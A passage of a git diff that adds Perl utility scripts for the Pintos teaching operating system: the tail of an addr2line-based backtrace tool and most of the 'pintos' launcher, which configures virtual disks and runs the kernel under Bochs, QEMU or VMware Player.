+@ARGV = grep (!/^(call|stack:?|[-+])$/i, @ARGV);
+s/\.$// foreach @ARGV;
+
+# Find binaries.
+my (@binaries);
+while ($ARGV[0] !~ /^0x/) {
+ my ($bin) = shift @ARGV;
+ die "backtrace: $bin: not found (use --help for help)\n" if ! -e $bin;
+ push (@binaries, $bin);
+}
+if (!@binaries) {
+ my ($bin);
+ if (-e 'kernel.o') {
+ $bin = 'kernel.o';
+ } elsif (-e 'build/kernel.o') {
+ $bin = 'build/kernel.o';
+ } else {
+ die "backtrace: no binary specified and neither \"kernel.o\" nor \"build/kernel.o\" exists (use --help for help)\n";
+ }
+ push (@binaries, $bin);
+}
+
+# Find addr2line.
+my ($a2l) = search_path ("i386-elf-addr2line") || search_path ("addr2line");
+if (!$a2l) {
+ die "backtrace: neither `i386-elf-addr2line' nor `addr2line' in PATH\n";
+}
+sub search_path {
+ my ($target) = @_;
+ for my $dir (split (':', $ENV{PATH})) {
+ my ($file) = "$dir/$target";
+ return $file if -e $file;
+ }
+ return undef;
+}
+
+# Figure out backtrace.
+my (@locs) = map ({ADDR => $_}, @ARGV);
+for my $bin (@binaries) {
+ open (A2L, "$a2l -fe $bin " . join (' ', map ($_->{ADDR}, @locs)) . "|");
+ for (my ($i) = 0; <A2L>; $i++) {
+ my ($function, $line);
+ chomp ($function = $_);
+ chomp ($line = <A2L>);
+ next if defined $locs[$i]{BINARY};
+
+ if ($function ne '??' || $line ne '??:0') {
+ $locs[$i]{FUNCTION} = $function;
+ $locs[$i]{LINE} = $line;
+ $locs[$i]{BINARY} = $bin;
+ }
+ }
+ close (A2L);
+}
+
+# Print backtrace.
+my ($cur_binary);
+for my $loc (@locs) {
+ if (defined ($loc->{BINARY})
+ && @binaries > 1
+ && (!defined ($cur_binary) || $loc->{BINARY} ne $cur_binary)) {
+ $cur_binary = $loc->{BINARY};
+ print "In $cur_binary:\n";
+ }
+
+ my ($addr) = $loc->{ADDR};
+ $addr = sprintf ("0x%08x", hex ($addr)) if $addr =~ /^0x[0-9a-f]+$/i;
+
+ print $addr, ": ";
+ if (defined ($loc->{BINARY})) {
+ my ($function) = $loc->{FUNCTION};
+ my ($line) = $loc->{LINE};
+ $line =~ s/^(\.\.\/)*//;
+ $line = "..." . substr ($line, -25) if length ($line) > 28;
+ print "$function ($line)";
+ } else {
+ print "(unknown)";
+ }
+ print "\n";
+}
diff --git a/src/utils/pintos b/src/utils/pintos
new file mode 100644
index 0000000..2b5dad9
--- /dev/null
+++ b/src/utils/pintos
@@ -0,0 +1,882 @@
+#! /usr/bin/perl -w
+
+use strict;
+use POSIX;
+use Fcntl;
+use File::Temp 'tempfile';
+use Getopt::Long qw(:config bundling);
+
+# Command-line options.
+our ($start_time) = time ();
+our ($sim); # Simulator: bochs, qemu, or player.
+our ($debug) = "none"; # Debugger: none, monitor, or gdb.
+our ($mem) = 4; # Physical RAM in MB.
+our ($serial) = 1; # Use serial port for input and output?
+our ($vga); # VGA output: window, terminal, or none.
+our ($jitter); # Seed for random timer interrupts, if set.
+our ($realtime); # Synchronize timer interrupts with real time?
+our ($timeout); # Maximum runtime in seconds, if set.
+our ($kill_on_failure); # Abort quickly on test failure?
+our (@puts); # Files to copy into the VM.
+our (@gets); # Files to copy out of the VM.
+our ($as_ref); # Reference to last addition to @gets or @puts.
+our (@kernel_args); # Arguments to pass to kernel.
+our (%disks) = (OS => {DEF_FN => 'os.dsk'}, # Disks to give VM.
+ FS => {DEF_FN => 'fs.dsk'},
+ SCRATCH => {DEF_FN => 'scratch.dsk'},
+ SWAP => {DEF_FN => 'swap.dsk'});
+our (@disks_by_iface) = @disks{qw (OS FS SCRATCH SWAP)};
+
+parse_command_line ();
+find_disks ();
+prepare_scratch_disk ();
+prepare_arguments ();
+run_vm ();
+finish_scratch_disk ();
+
+exit 0;
+
+# Parses the command line.
+sub parse_command_line {
+ usage (0) if @ARGV == 0 || (@ARGV == 1 && $ARGV[0] eq '--help');
+
+ @kernel_args = @ARGV;
+ if (grep ($_ eq '--', @kernel_args)) {
+ @ARGV = ();
+ while ((my $arg = shift (@kernel_args)) ne '--') {
+ push (@ARGV, $arg);
+ }
+ GetOptions ("sim=s" => sub { set_sim (@_) },
+ "bochs" => sub { set_sim ("bochs") },
+ "qemu" => sub { set_sim ("qemu") },
+ "player" => sub { set_sim ("player") },
+
+ "debug=s" => sub { set_debug (@_) },
+ "no-debug" => sub { set_debug ("none") },
+ "monitor" => sub { set_debug ("monitor") },
+ "gdb" => sub { set_debug ("gdb") },
+
+ "m|memory=i" => \$mem,
+ "j|jitter=i" => sub { set_jitter ($_[1]) },
+ "r|realtime" => sub { set_realtime () },
+
+ "T|timeout=i" => \$timeout,
+ "k|kill-on-failure" => \$kill_on_failure,
+
+ "v|no-vga" => sub { set_vga ('none'); },
+ "s|no-serial" => sub { $serial = 0; },
+ "t|terminal" => sub { set_vga ('terminal'); },
+
+ "p|put-file=s" => sub { add_file (\@puts, $_[1]); },
+ "g|get-file=s" => sub { add_file (\@gets, $_[1]); },
+ "a|as=s" => sub { set_as ($_[1]); },
+
+ "h|help" => sub { usage (0); },
+
+ "os-disk=s" => \$disks{OS}{FILE_NAME},
+ "fs-disk=s" => \$disks{FS}{FILE_NAME},
+ "scratch-disk=s" => \$disks{SCRATCH}{FILE_NAME},
+ "swap-disk=s" => \$disks{SWAP}{FILE_NAME},
+
+ "0|disk-0|hda=s" => \$disks_by_iface[0]{FILE_NAME},
+ "1|disk-1|hdb=s" => \$disks_by_iface[1]{FILE_NAME},
+ "2|disk-2|hdc=s" => \$disks_by_iface[2]{FILE_NAME},
+ "3|disk-3|hdd=s" => \$disks_by_iface[3]{FILE_NAME})
+ or exit 1;
+ }
+
+ $sim = "bochs" if !defined $sim;
+ $debug = "none" if !defined $debug;
+ $vga = "window" if !defined $vga;
+
+ undef $timeout, print "warning: disabling timeout with --$debug\n"
+ if defined ($timeout) && $debug ne 'none';
+
+ print "warning: enabling serial port for -k or --kill-on-failure\n"
+ if $kill_on_failure && !$serial;
+}
+
+# usage($exitcode).
+# Prints a usage message and exits with $exitcode.
+sub usage {
+ my ($exitcode) = @_;
+ $exitcode = 1 unless defined $exitcode;
+ print <<'EOF';
+pintos, a utility for running Pintos in a simulator
+Usage: pintos [OPTION...] -- [ARGUMENT...]
+where each OPTION is one of the following options
+ and each ARGUMENT is passed to Pintos kernel verbatim.
+Simulator selection:
+ --bochs (default) Use Bochs as simulator
+ --qemu Use QEMU as simulator
+ --player Use VMware Player as simulator
+Debugger selection:
+ --no-debug (default) No debugger
+ --monitor Debug with simulator's monitor
+ --gdb Debug with gdb
+Display options: (default is both VGA and serial)
+ -v, --no-vga No VGA display or keyboard
+ -s, --no-serial No serial input or output
+ -t, --terminal Display VGA in terminal (Bochs only)
+Timing options: (Bochs only)
+ -j SEED Randomize timer interrupts
+ -r, --realtime Use realistic, not reproducible, timings
+Testing options:
+ -T, --timeout=N Kill Pintos after N seconds CPU time or N*load_avg
+ seconds wall-clock time (whichever comes first)
+ -k, --kill-on-failure Kill Pintos a few seconds after a kernel or user
+ panic, test failure, or triple fault
+Configuration options:
+ -m, --mem=N Give Pintos N MB physical RAM (default: 4)
+File system commands (for `run' command):
+ -p, --put-file=HOSTFN Copy HOSTFN into VM, by default under same name
+ -g, --get-file=GUESTFN Copy GUESTFN out of VM, by default under same name
+ -a, --as=FILENAME Specifies guest (for -p) or host (for -g) file name
+Disk options: (name an existing FILE or specify SIZE in MB for a temp disk)
+ --os-disk=FILE Set OS disk file (default: os.dsk)
+ --fs-disk=FILE|SIZE Set FS disk file (default: fs.dsk)
+ --scratch-disk=FILE|SIZE Set scratch disk (default: scratch.dsk)
+ --swap-disk=FILE|SIZE Set swap disk file (default: swap.dsk)
+Other options:
+ -h, --help Display this help message.
+EOF
+ exit $exitcode;
+}
+
+# Sets the simulator.
+sub set_sim {
+ my ($new_sim) = @_;
+ die "--$new_sim conflicts with --$sim\n"
+ if defined ($sim) && $sim ne $new_sim;
+ $sim = $new_sim;
+}
+
+# Sets the debugger.
+sub set_debug {
+ my ($new_debug) = @_;
+ die "--$new_debug conflicts with --$debug\n"
+ if $debug ne 'none' && $new_debug ne 'none' && $debug ne $new_debug;
+ $debug = $new_debug;
+}
+
+# Sets VGA output destination.
+sub set_vga {
+ my ($new_vga) = @_;
+ if (defined ($vga) && $vga ne $new_vga) {
+ print "warning: conflicting vga display options\n";
+ }
+ $vga = $new_vga;
+}
+
+# Sets randomized timer interrupts.
+sub set_jitter {
+ my ($new_jitter) = @_;
+ die "--realtime conflicts with --jitter\n" if defined $realtime;
+ die "different --jitter already defined\n"
+ if defined $jitter && $jitter != $new_jitter;
+ $jitter = $new_jitter;
+}
+
+# Sets real-time timer interrupts.
+sub set_realtime {
+ die "--realtime conflicts with --jitter\n" if defined $jitter;
+ $realtime = 1;
+}
+
+# add_file(\@list, $file)
+#
+# Adds [$file] to @list, which should be @puts or @gets.
+# Sets $as_ref to point to the added element.
+sub add_file {
+ my ($list, $file) = @_;
+ $as_ref = [$file];
+ push (@$list, $as_ref);
+}
+
+# Sets the guest/host name for the previous put/get.
+sub set_as {
+ my ($as) = @_;
+ die "-a (or --as) is only allowed after -p or -g\n" if !defined $as_ref;
+ die "Only one -a (or --as) is allowed after -p or -g\n"
+ if defined $as_ref->[1];
+ $as_ref->[1] = $as;
+}
+
+# Locates the files used to back each of the virtual disks,
+# and creates temporary disks.
+sub find_disks {
+ for my $disk (values %disks) {
+ # If there's no assigned file name but the default file exists,
+ # try to assign a default file name.
+ if (!defined ($disk->{FILE_NAME})) {
+ for my $try_fn ($disk->{DEF_FN}, "build/" . $disk->{DEF_FN}) {
+ $disk->{FILE_NAME} = $try_fn, last
+ if -e $try_fn;
+ }
+ }
+
+ # If there's no file name, we're done.
+ next if !defined ($disk->{FILE_NAME});
+
+ if ($disk->{FILE_NAME} =~ /^\d+(\.\d+)?|\.\d+$/) {
+ # Create a temporary disk of approximately the specified
+ # size in megabytes.
+ die "OS disk can't be temporary\n" if $disk == $disks{OS};
+
+ my ($mb) = $disk->{FILE_NAME};
+ undef $disk->{FILE_NAME};
+
+ my ($cyl_size) = 512 * 16 * 63;
+ extend_disk ($disk, ceil ($mb * 2) * $cyl_size);
+ } else {
+ # The file must exist and have nonzero size.
+ -e $disk->{FILE_NAME} or die "$disk->{FILE_NAME}: stat: $!\n";
+ -s _ or die "$disk->{FILE_NAME}: disk has zero size\n";
+ }
+ }
+
+ # Warn about (potentially) missing disks.
+ die "Cannot find OS disk\n" if !defined $disks{OS}{FILE_NAME};
+ if (my ($project) = `pwd` =~ /\b(threads|userprog|vm|filesys)\b/) {
+ if ((grep ($project eq $_, qw (userprog vm filesys)))
+ && !defined ($disks{FS}{FILE_NAME})) {
+ print STDERR "warning: it looks like you're running the $project ";
+ print STDERR "project, but no file system disk is present\n";
+ }
+ if ($project eq 'vm' && !defined $disks{SWAP}{FILE_NAME}) {
+ print STDERR "warning: it looks like you're running the $project ";
+ print STDERR "project, but no swap disk is present\n";
+ }
+ }
+}
+
+# Prepare the scratch disk for gets and puts.
+sub prepare_scratch_disk {
+ # Copy the files to put onto the scratch disk.
+ put_scratch_file ($_->[0]) foreach @puts;
+
+ # Make sure the scratch disk is big enough to get big files.
+ extend_disk ($disks{SCRATCH}, @gets * 1024 * 1024) if @gets;
+}
+
+# Read "get" files from the scratch disk.
+sub finish_scratch_disk {
+ # We need to start reading the scratch disk from the beginning again.
+ if (@gets) {
+ close ($disks{SCRATCH}{HANDLE});
+ undef ($disks{SCRATCH}{HANDLE});
+ }
+
+ # Read each file.
+ # If reading fails, delete that file and all subsequent files.
+ my ($ok) = 1;
+ foreach my $get (@gets) {
+ my ($name) = defined ($get->[1]) ? $get->[1] : $get->[0];
+ $ok &&= get_scratch_file ($name);
+ if (!$ok) {
+ die "$name: unlink: $!\n" if !unlink ($name) && !$!{ENOENT};
+ }
+ }
+}
+
+# put_scratch_file($file).
+#
+# Copies $file into the scratch disk.
+sub put_scratch_file {
+ my ($put_file_name) = @_;
+ my ($disk_handle, $disk_file_name) = open_disk ($disks{SCRATCH});
+
+ print "Copying $put_file_name into $disk_file_name...\n";
+
+ # Write metadata sector, which consists of a 4-byte signature
+ # followed by the file size.
+ stat $put_file_name or die "$put_file_name: stat: $!\n";
+ my ($size) = -s _;
+ my ($metadata) = pack ("a4 V x504", "PUT\0", $size);
+ write_fully ($disk_handle, $disk_file_name, $metadata);
+
+ # Copy file data.
+ my ($put_handle);
+ sysopen ($put_handle, $put_file_name, O_RDONLY)
+ or die "$put_file_name: open: $!\n";
+ copy_file ($put_handle, $put_file_name, $disk_handle, $disk_file_name,
+ $size);
+ close ($put_handle);
+
+ # Round up disk data to beginning of next sector.
+ write_fully ($disk_handle, $disk_file_name, "\0" x (512 - $size % 512))
+ if $size % 512;
+}
+
+# get_scratch_file($file).
+#
+# Copies from the scratch disk to $file.
+# Returns 1 if successful, 0 on failure.
+sub get_scratch_file {
+ my ($get_file_name) = @_;
+ my ($disk_handle, $disk_file_name) = open_disk ($disks{SCRATCH});
+
+ print "Copying $get_file_name out of $disk_file_name...\n";
+
+ # Read metadata sector, which has a 4-byte signature followed by
+ # the file size.
+ my ($metadata) = read_fully ($disk_handle, $disk_file_name, 512);
+ my ($signature, $size) = unpack ("a4 V", $metadata);
+ (print STDERR "bad signature on scratch disk--did Pintos run fail?\n"),
+ return 0
+ if $signature ne "GET\0";
+
+ # Copy file data.
+ my ($get_handle);
+ sysopen ($get_handle, $get_file_name, O_WRONLY | O_CREAT, 0666)
+ or die "$get_file_name: create: $!\n";
+ copy_file ($disk_handle, $disk_file_name, $get_handle, $get_file_name,
+ $size);
+ close ($get_handle);
+
+ # Skip forward in disk up to beginning of next sector.
+ read_fully ($disk_handle, $disk_file_name, 512 - $size % 512)
+ if $size % 512;
+
+ return 1;
+}
+
+# Prepares the arguments to pass to the Pintos kernel,
+# and then write them into Pintos bootloader.
+sub prepare_arguments {
+ my (@args);
+ push (@args, shift (@kernel_args))
+ while @kernel_args && $kernel_args[0] =~ /^-/;
+ push (@args, 'put', defined $_->[1] ? $_->[1] : $_->[0]) foreach @puts;
+ push (@args, @kernel_args);
+ push (@args, 'get', $_->[0]) foreach @gets;
+ write_cmd_line ($disks{OS}, @args);
+}
+
+# Writes @args into the Pintos bootloader at the beginning of $disk.
+sub write_cmd_line {
+ my ($disk, @args) = @_;
+
+ # Figure out command line to write.
+ my ($arg_cnt) = pack ("V", scalar (@args));
+ my ($args) = join ('', map ("$_\0", @args));
+ die "command line exceeds 128 bytes" if length ($args) > 128;
+ $args .= "\0" x (128 - length ($args));
+
+ # Write command line.
+ my ($handle, $file_name) = open_disk_copy ($disk);
+ print "Writing command line to $file_name...\n";
+ sysseek ($handle, 0x17a, 0) == 0x17a or die "$file_name: seek: $!\n";
+ syswrite ($handle, "$arg_cnt$args") or die "$file_name: write: $!\n";
+}
+
+# Running simulators.
+
+# Runs the selected simulator.
+sub run_vm {
+ if ($sim eq 'bochs') {
+ run_bochs ();
+ } elsif ($sim eq 'qemu') {
+ run_qemu ();
+ } elsif ($sim eq 'player') {
+ run_player ();
+ } else {
+ die "unknown simulator `$sim'\n";
+ }
+}
+
+# Runs Bochs.
+sub run_bochs {
+ # Select Bochs binary based on the chosen debugger.
+ my ($bin) = $debug eq 'monitor' ? 'bochs-dbg' : 'bochs';
+
+ my ($squish_pty);
+ if ($serial) {
+ $squish_pty = find_in_path ("squish-pty");
+ print "warning: can't find squish-pty, so terminal input will fail\n"
+ if !defined $squish_pty;
+ }
+
+ # Write bochsrc.txt configuration file.
+ open (BOCHSRC, ">", "bochsrc.txt") or die "bochsrc.txt: create: $!\n";
+ print BOCHSRC <<EOF;
+romimage: file=\$BXSHARE/BIOS-bochs-latest, address=0xf0000
+vgaromimage: file=\$BXSHARE/VGABIOS-lgpl-latest
+boot: disk
+cpu: ips=1000000
+megs: $mem
+log: bochsout.txt
+panic: action=fatal
+EOF
+ print BOCHSRC "gdbstub: enabled=1\n" if $debug eq 'gdb';
+ print BOCHSRC "clock: sync=", $realtime ? 'realtime' : 'none',
+ ", time0=0\n";
+ print_bochs_disk_line ("ata0-master", 0);
+ print_bochs_disk_line ("ata0-slave", 1);
+ if (defined ($disks_by_iface[2]{FILE_NAME})
+ || defined ($disks_by_iface[3]{FILE_NAME})) {
+ print BOCHSRC "ata1: enabled=1, ioaddr1=0x170, ",
+ "ioaddr2=0x370, irq=15\n";
+ print_bochs_disk_line ("ata1-master", 2);
+ print_bochs_disk_line ("ata1-slave", 3);
+ }
+ if ($vga ne 'terminal') {
+ if ($serial) {
+ my $mode = defined ($squish_pty) ? "term" : "file";
+ print BOCHSRC "com1: enabled=1, mode=$mode, dev=/dev/stdout\n";
+ }
+ print BOCHSRC "display_library: nogui\n" if $vga eq 'none';
+ } else {
+ print BOCHSRC "display_library: term\n";
+ }
+ close (BOCHSRC);
+
+ # Compose Bochs command line.
+ my (@cmd) = ($bin, '-q');
+ unshift (@cmd, $squish_pty) if defined $squish_pty;
+ push (@cmd, '-j', $jitter) if defined $jitter;
+
+ # Run Bochs.
+ print join (' ', @cmd), "\n";
+ my ($exit) = xsystem (@cmd);
+ if (WIFEXITED ($exit)) {
+ # Bochs exited normally.
+ # Ignore the exit code; Bochs normally exits with status 1,
+ # which is weird.
+ } elsif (WIFSIGNALED ($exit)) {
+ die "Bochs died with signal ", WTERMSIG ($exit), "\n";
+ } else {
+ die "Bochs died: code $exit\n";
+ }
+}
+
+# print_bochs_disk_line($device, $iface)
+#
+# If IDE interface $iface has a disk attached, prints a bochsrc.txt
+# line for attaching it to $device.
+sub print_bochs_disk_line {
+ my ($device, $iface) = @_;
+ my ($disk) = $disks_by_iface[$iface];
+ my ($file) = $disk->{FILE_NAME};
+ if (defined $file) {
+ my (%geom) = disk_geometry ($disk);
+ print BOCHSRC "$device: type=disk, path=$file, mode=flat, ";
+ print BOCHSRC "cylinders=$geom{C}, heads=$geom{H}, spt=$geom{S}, ";
+ print BOCHSRC "translation=none\n";
+ }
+}
+
+# Runs QEMU.
+sub run_qemu {
+ print "warning: qemu doesn't support --terminal\n"
+ if $vga eq 'terminal';
+ print "warning: qemu doesn't support jitter\n"
+ if defined $jitter;
+ my (@cmd) = ('qemu');
+ for my $iface (0...3) {
+ my ($option) = ('-hda', '-hdb', '-hdc', '-hdd')[$iface];
+ push (@cmd, $option, $disks_by_iface[$iface]{FILE_NAME})
+ if defined $disks_by_iface[$iface]{FILE_NAME};
+ }
+ push (@cmd, '-m', $mem);
+ push (@cmd, '-net', 'none');
+ push (@cmd, '-nographic') if $vga eq 'none';
+ push (@cmd, '-serial', 'stdio') if $serial && $vga ne 'none';
+ push (@cmd, '-S') if $debug eq 'monitor';
+ push (@cmd, '-s', '-S') if $debug eq 'gdb';
+ push (@cmd, '-monitor', 'null') if $vga eq 'none' && $debug eq 'none';
+ run_command (@cmd);
+}
+
+# player_unsup($flag)
+#
+# Prints a message that $flag is unsupported by VMware Player.
+sub player_unsup {
+ my ($flag) = @_;
+ print "warning: no support for $flag with VMware Player\n";
+}
+
+# Runs VMware Player.
+sub run_player {
+ player_unsup ("--$debug") if $debug ne 'none';
+ player_unsup ("--no-vga") if $vga eq 'none';
+ player_unsup ("--terminal") if $vga eq 'terminal';
+ player_unsup ("--jitter") if defined $jitter;
+ player_unsup ("--timeout"), undef $timeout if defined $timeout;
+ player_unsup ("--kill-on-failure"), undef $kill_on_failure
+ if defined $kill_on_failure;
+
+ # Memory size must be multiple of 4.
+ $mem = int (($mem + 3) / 4) * 4;
+
+ open (VMX, ">", "pintos.vmx") or die "pintos.vmx: create: $!\n";
+ chmod 0777 & ~umask, "pintos.vmx";
+ print VMX <<EOF;
+#! /usr/bin/vmware -G
+config.version = 8
+guestOS = "linux"
+memsize = $mem
+floppy0.present = FALSE
+usb.present = FALSE
+sound.present = FALSE
+gui.exitAtPowerOff = TRUE
+gui.exitOnCLIHLT = TRUE
+gui.powerOnAtStartUp = TRUE
+EOF
+
+
+
+ print VMX <<EOF if $serial;
+serial0.present = TRUE
+serial0.fileType = "pipe"
+serial0.fileName = "pintos.socket"
+serial0.pipe.endPoint = "client"
+serial0.tryNoRxLoss = "TRUE"
+EOF
+
+ for (my ($i) = 0; $i < 4; $i++) {
+ my ($disk) = $disks_by_iface[$i];
+ my ($dsk) = $disk->{FILE_NAME};
+ next if !defined $dsk;
+
+ my ($device) = "ide" . int ($i / 2) . ":" . ($i % 2);
+ my ($pln) = "$device.pln";
+ print VMX <<EOF;
+
+$device.present = TRUE
+$device.deviceType = "plainDisk"
+$device.fileName = "$pln"
+EOF
+
+ open (URANDOM, '<', '/dev/urandom') or die "/dev/urandom: open: $!\n";
+ my ($bytes);
+ sysread (URANDOM, $bytes, 4) == 4 or die "/dev/urandom: read: $!\n";
+ close (URANDOM);
+ my ($cid) = unpack ("L", $bytes);
+
+ my (%geom) = disk_geometry ($disk);
+ open (PLN, ">", $pln) or die "$pln: create: $!\n";
+ print PLN <<EOF;
+version=1
+CID=$cid
+parentCID=ffffffff
+createType="monolithicFlat"
+
+RW $geom{CAPACITY} FLAT "$dsk" 0
+
+# The Disk Data Base
+#DDB
+
+ddb.adapterType = "ide"
+ddb.virtualHWVersion = "4"
+ddb.toolsVersion = "2"
+ddb.geometry.cylinders = "$geom{C}"
+ddb.geometry.heads = "$geom{H}"
+ddb.geometry.sectors = "$geom{S}"
+EOF
+ close (PLN);
+ }
+ close (VMX);
+
+ my ($squish_unix);
+ if ($serial) {
+ $squish_unix = find_in_path ("squish-unix");
+ print "warning: can't find squish-unix, so terminal input ",
+ "and output will fail\n" if !defined $squish_unix;
+ }
+
+ my ($vmx) = getcwd () . "/pintos.vmx";
+ my (@cmd) = ("vmplayer", $vmx);
+ unshift (@cmd, $squish_unix, "pintos.socket") if $squish_unix;
+ print join (' ', @cmd), "\n";
+ xsystem (@cmd);
+}
+
+# Disk utilities.
+
+# open_disk($disk)
+#
+# Opens $disk, if it is not already open, and returns its file handle
+# and file name.
+sub open_disk {
+ my ($disk) = @_;
+ if (!defined ($disk->{HANDLE})) {
+ if ($disk->{FILE_NAME}) {
+ sysopen ($disk->{HANDLE}, $disk->{FILE_NAME}, O_RDWR)
+ or die "$disk->{FILE_NAME}: open: $!\n";
+ } else {
+ ($disk->{HANDLE}, $disk->{FILE_NAME}) = tempfile (UNLINK => 1,
+ SUFFIX => '.dsk');
+ }
+ }
+ return ($disk->{HANDLE}, $disk->{FILE_NAME});
+}
+
+# open_disk_copy($disk)
+#
+# Makes a temporary copy of $disk and returns its file handle and file name.
+sub open_disk_copy {
+ my ($disk) = @_;
+ die if !$disk->{FILE_NAME};
+
+ my ($orig_handle, $orig_file_name) = open_disk ($disk);
+ my ($cp_handle, $cp_file_name) = tempfile (UNLINK => 1, SUFFIX => '.dsk');
+ copy_file ($orig_handle, $orig_file_name, $cp_handle, $cp_file_name,
+ -s $orig_handle);
+ return ($disk->{HANDLE}, $disk->{FILE_NAME}) = ($cp_handle, $cp_file_name);
+}
+
+# extend_disk($disk, $size)
+#
+# Extends $disk, if necessary, so that it is at least $size bytes
+# long.
+sub extend_disk {
+ my ($disk, $size) = @_;
+ my ($handle, $file_name) = open_disk ($disk);
+ if (-s ($handle) < $size) {
+ sysseek ($handle, $size - 1, 0) == $size - 1
+ or die "$file_name: seek: $!\n";
+ syswrite ($handle, "\0") == 1
+ or die "$file_name: write: $!\n";
+ }
+}
+
+# disk_geometry($file)
+#
+# Examines $file and returns a valid IDE disk geometry for it, as a
+# hash.
+sub disk_geometry {
+ my ($disk) = @_;
+ my ($file) = $disk->{FILE_NAME};
+ my ($size) = -s $file;
+ die "$file: stat: $!\n" if !defined $size;
+ die "$file: size not a multiple of 512 bytes\n" if $size % 512;
+ my ($cyl_size) = 512 * 16 * 63;
+ my ($cylinders) = ceil ($size / $cyl_size);
+ extend_disk ($disk, $cylinders * $cyl_size) if $size % $cyl_size;
+
+ return (CAPACITY => $size / 512,
+ C => $cylinders,
+ H => 16,
+ S => 63);
+}
+
+# copy_file($from_handle, $from_file_name, $to_handle, $to_file_name, $size)
+#
+# Copies $size bytes from $from_handle to $to_handle.
+# $from_file_name and $to_file_name are used in error messages.
+sub copy_file {
+ my ($from_handle, $from_file_name, $to_handle, $to_file_name, $size) = @_;
+
+ while ($size > 0) {
+ my ($chunk_size) = 4096;
+ $chunk_size = $size if $chunk_size > $size;
+ $size -= $chunk_size;
+
+ my ($data) = read_fully ($from_handle, $from_file_name, $chunk_size);
+ write_fully ($to_handle, $to_file_name, $data);
+ }
+}
+
+# read_fully($handle, $file_name, $bytes)
+#
+# Reads exactly $bytes bytes from $handle and returns the data read.
+# $file_name is used in error messages.
+sub read_fully {
+ my ($handle, $file_name, $bytes) = @_;
+ my ($data);
+ my ($read_bytes) = sysread ($handle, $data, $bytes);
+ die "$file_name: read: $!\n" if !defined $read_bytes;
+ die "$file_name: unexpected end of file\n" if $read_bytes != $bytes;
+ return $data;
+}
+
+# write_fully($handle, $file_name, $data)
+#
+# Write $data to $handle.
+# $file_name is used in error messages.
+sub write_fully {
+ my ($handle, $file_name, $data) = @_;
+ my ($written_bytes) = syswrite ($handle, $data);
+ die "$file_name: write: $!\n" if !defined $written_bytes;
+ die "$file_name: short write\n" if $written_bytes != length $data;
+}
+
+# Subprocess utilities.
+
+# run_command(@args)
+#
+# Runs xsystem(@args).
+# Also prints the command it's running and checks that it succeeded.
+sub run_command {
+ print join (' ', @_), "\n";
+ die "command failed\n" if xsystem (@_);
+}
+
+# xsystem(@args)
+#
+# Creates a subprocess via exec(@args) and waits for it to complete.
+# Relays common signals to the subprocess.
+# If $timeout is set then the subprocess will be killed after that long.
+sub xsystem {
+ # QEMU turns off local echo and does not restore it if killed by a signal.
+ # We compensate by restoring it ourselves.
+ my $cleanup = sub {};
+ if (isatty (0)) {
+ my $termios = POSIX::Termios->new;
+ $termios->getattr (0);
+ $cleanup = sub { $termios->setattr (0, &POSIX::TCSANOW); }
+ }
+
+ # Create pipe for filtering output.
+ pipe (my $in, my $out) or die "pipe: $!\n" if $kill_on_failure;
+
+ my ($pid) = fork;
+ if (!defined ($pid)) {
+ # Fork failed.
+ die "fork: $!\n";
+ } elsif (!$pid) {
+ # Running in child process.
+ dup2 (fileno ($out), STDOUT_FILENO) or die "dup2: $!\n"
+ if $kill_on_failure;
+ exec_setitimer (@_);
+ } else {
+ # Running in parent process.
+ close $out if $kill_on_failure;
+
+ my ($cause);
+ local $SIG{ALRM} = sub { timeout ($pid, $cause, $cleanup); };
+ local $SIG{INT} = sub { relay_signal ($pid, "INT", $cleanup); };
+ local $SIG{TERM} = sub { relay_signal ($pid, "TERM", $cleanup); };
+ alarm ($timeout * get_load_average () + 1) if defined ($timeout);
+
+ if ($kill_on_failure) {
+ # Filter output.
+ my ($buf) = "";
+ my ($boots) = 0;
+ local ($|) = 1;
+ for (;;) {
+ if (waitpid ($pid, WNOHANG) != 0) {
+ # Subprocess died. Pass through any remaining data.
+ print $buf while sysread ($in, $buf, 4096) > 0;
+ last;
+ }
+
+ # Read and print out pipe data.
+ my ($len) = length ($buf);
+ waitpid ($pid, 0), last
+ if sysread ($in, $buf, 4096, $len) <= 0;
+ print substr ($buf, $len);
+
+ # Remove full lines from $buf and scan them for keywords.
+ while ((my $idx = index ($buf, "\n")) >= 0) {
+ local $_ = substr ($buf, 0, $idx + 1, '');
+ next if defined ($cause);
+ if (/(Kernel PANIC|User process ABORT)/ ) {
+ $cause = "\L$1\E";
+ alarm (5);
+ } elsif (/Pintos booting/ && ++$boots > 1) {
+ $cause = "triple fault";
+ alarm (5);
+ } elsif (/FAILED/) {
+ $cause = "test failure";
+ alarm (5);
+ }
+ }
+ }
+ } else {
+ waitpid ($pid, 0);
+ }
+ alarm (0);
+ &$cleanup ();
+
+ if (WIFSIGNALED ($?) && WTERMSIG ($?) == SIGVTALRM ()) {
+ seek (STDOUT, 0, 2);
+ print "\nTIMEOUT after $timeout seconds of host CPU time\n";
+ exit 0;
+ }
+
+ return $?;
+ }
+}
+
+# relay_signal($pid, $signal, &$cleanup)
+#
+# Relays $signal to $pid and then reinvokes it for us with the default
+# handler. Also cleans up temporary files and invokes $cleanup.
+sub relay_signal {
+ my ($pid, $signal, $cleanup) = @_;
+ kill $signal, $pid;
+ eval { File::Temp::cleanup() }; # Not defined in old File::Temp.
+ &$cleanup ();
+ $SIG{$signal} = 'DEFAULT';
+ kill $signal, getpid ();
+}
+
+# timeout($pid, $cause, &$cleanup)
+#
+# Interrupts $pid and dies with a timeout error message,
+# after invoking $cleanup.
+sub timeout {
+ my ($pid, $cause, $cleanup) = @_;
+ kill "INT", $pid;
+ waitpid ($pid, 0);
+ &$cleanup ();
+ seek (STDOUT, 0, 2);
+ if (!defined ($cause)) {
+ my ($load_avg) = `uptime` =~ /(load average:.*)$/i;
+ print "\nTIMEOUT after ", time () - $start_time,
+ " seconds of wall-clock time";
+ print " - $load_avg" if defined $load_avg;
+ print "\n";
+ } else {
+ print "Simulation terminated due to $cause.\n";
+ }
+ exit 0;
+}
+
+# Returns the system load average over the last minute.
+# If the load average is less than 1.0 or cannot be determined, returns 1.0.
+sub get_load_average {
+ my ($avg) = `uptime` =~ /load average:\s*([^,]+),/;
+ return $avg >= 1.0 ? $avg : 1.0;
+}
+
+# Calls setitimer to set a timeout, then execs what was passed to us.
+sub exec_setitimer {
+ if (defined $timeout) {
+ if ($ ge 5.8.0) {
+ eval "
+ use Time::HiRes qw(setitimer ITIMER_VIRTUAL);
+ setitimer (ITIMER_VIRTUAL, $timeout, 0);
+ ";
+ } else {
+ { exec ("setitimer-helper", $timeout, @_); };
+ exit 1 if !$!{ENOENT};
